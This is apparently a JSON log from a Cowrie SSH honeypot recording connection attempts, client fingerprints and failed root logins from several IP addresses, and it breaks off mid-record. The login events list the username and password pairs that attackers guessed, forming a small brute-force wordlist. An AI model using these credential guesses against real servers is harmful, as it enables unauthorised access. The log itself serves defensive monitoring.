{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35274,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b51dc838026","protocol":"ssh","message":"New connection: 190.223.60.209:35274 (10.17.0.5:22) [session: 4b51dc838026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.092738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.100940Z","src_ip":"190.223.60.209","session":"4b51dc838026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.114525Z","src_ip":"213.209.159.158","session":"a133a5d28d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":42070,"dst_ip":"159.203.135.109","dst_port":22,"session":"743474531287","protocol":"ssh","message":"New connection: 103.154.77.48:42070 (159.203.135.109:22) [session: 743474531287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.187064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.191591Z","src_ip":"103.154.77.48","session":"743474531287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":39082,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc508411238","protocol":"ssh","message":"New connection: 213.209.159.158:39082 (159.203.135.109:22) [session: fdc508411238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.203936Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.226491Z","src_ip":"190.223.60.209","session":"4b51dc838026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.432965Z","src_ip":"103.154.77.48","session":"743474531287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r!@#","message":"login attempt [root/1q2w3e4r!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:29.760779Z","src_ip":"190.223.60.209","session":"4b51dc838026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huahua123","message":"login attempt [root/huahua123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:30.431902Z","src_ip":"103.154.77.48","session":"743474531287","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:30.740191Z","src_ip":"213.209.159.158","session":"fdc508411238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:30.744288Z","src_ip":"213.209.159.158","session":"fdc508411238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:30.888721Z","src_ip":"190.223.60.209","session":"4b51dc838026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:31.678141Z","src_ip":"103.154.77.48","session":"743474531287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":55998,"dst_ip":"159.203.135.109","dst_port":22,"session":"509259c55eb5","protocol":"ssh","message":"New connection: 103.173.227.57:55998 (159.203.135.109:22) [session: 509259c55eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:36.212082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:36.216816Z","src_ip":"103.173.227.57","session":"509259c55eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcom","message":"login attempt [root/welcom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:36.347559Z","src_ip":"213.209.159.158","session":"fdc508411238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:36.465245Z","src_ip":"103.173.227.57","session":"509259c55eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4kgdjv1","message":"login attempt [root/4kgdjv1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:37.211874Z","src_ip":"103.173.227.57","session":"509259c55eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:38.462893Z","src_ip":"103.173.227.57","session":"509259c55eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:38.684319Z","src_ip":"213.209.159.158","session":"fdc508411238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61714,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd15dc7bda9","protocol":"ssh","message":"New connection: 213.209.159.158:61714 (159.203.135.109:22) [session: 6cd15dc7bda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:38.763344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:40.313736Z","src_ip":"213.209.159.158","session":"6cd15dc7bda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:40.317483Z","src_ip":"213.209.159.158","session":"6cd15dc7bda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47462,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ea9340e277","protocol":"ssh","message":"New connection: 186.148.224.183:47462 (159.203.135.109:22) [session: 35ea9340e277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:42.477956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:42.483339Z","src_ip":"186.148.224.183","session":"35ea9340e277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:42.629298Z","src_ip":"186.148.224.183","session":"35ea9340e277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"1234","message":"login attempt [smbuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:43.242652Z","src_ip":"186.148.224.183","session":"35ea9340e277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:44.390805Z","src_ip":"186.148.224.183","session":"35ea9340e277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ws123456!","message":"login attempt [root/Ws123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:46.114225Z","src_ip":"213.209.159.158","session":"6cd15dc7bda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:48.738136Z","src_ip":"213.209.159.158","session":"6cd15dc7bda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12342,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf89facd12f","protocol":"ssh","message":"New connection: 213.209.159.158:12342 (159.203.135.109:22) [session: fdf89facd12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:48.841458Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":42720,"dst_ip":"10.17.0.5","dst_port":22,"session":"7faa85f1f94c","protocol":"ssh","message":"New connection: 78.44.192.210:42720 (10.17.0.5:22) [session: 7faa85f1f94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:49.382159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:49.388440Z","src_ip":"78.44.192.210","session":"7faa85f1f94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:49.498590Z","src_ip":"78.44.192.210","session":"7faa85f1f94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1234","message":"login attempt [root/mama1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:49.964359Z","src_ip":"78.44.192.210","session":"7faa85f1f94c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:50.219049Z","src_ip":"213.209.159.158","session":"fdf89facd12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:50.223486Z","src_ip":"213.209.159.158","session":"fdf89facd12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:51.075248Z","src_ip":"78.44.192.210","session":"7faa85f1f94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW#123456","message":"login attempt [root/wW#123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:55.823097Z","src_ip":"213.209.159.158","session":"fdf89facd12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":53724,"dst_ip":"159.203.135.109","dst_port":22,"session":"5880da9e7f5d","protocol":"ssh","message":"New connection: 103.82.20.28:53724 (159.203.135.109:22) [session: 5880da9e7f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:57.065516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:57.070512Z","src_ip":"103.82.20.28","session":"5880da9e7f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-d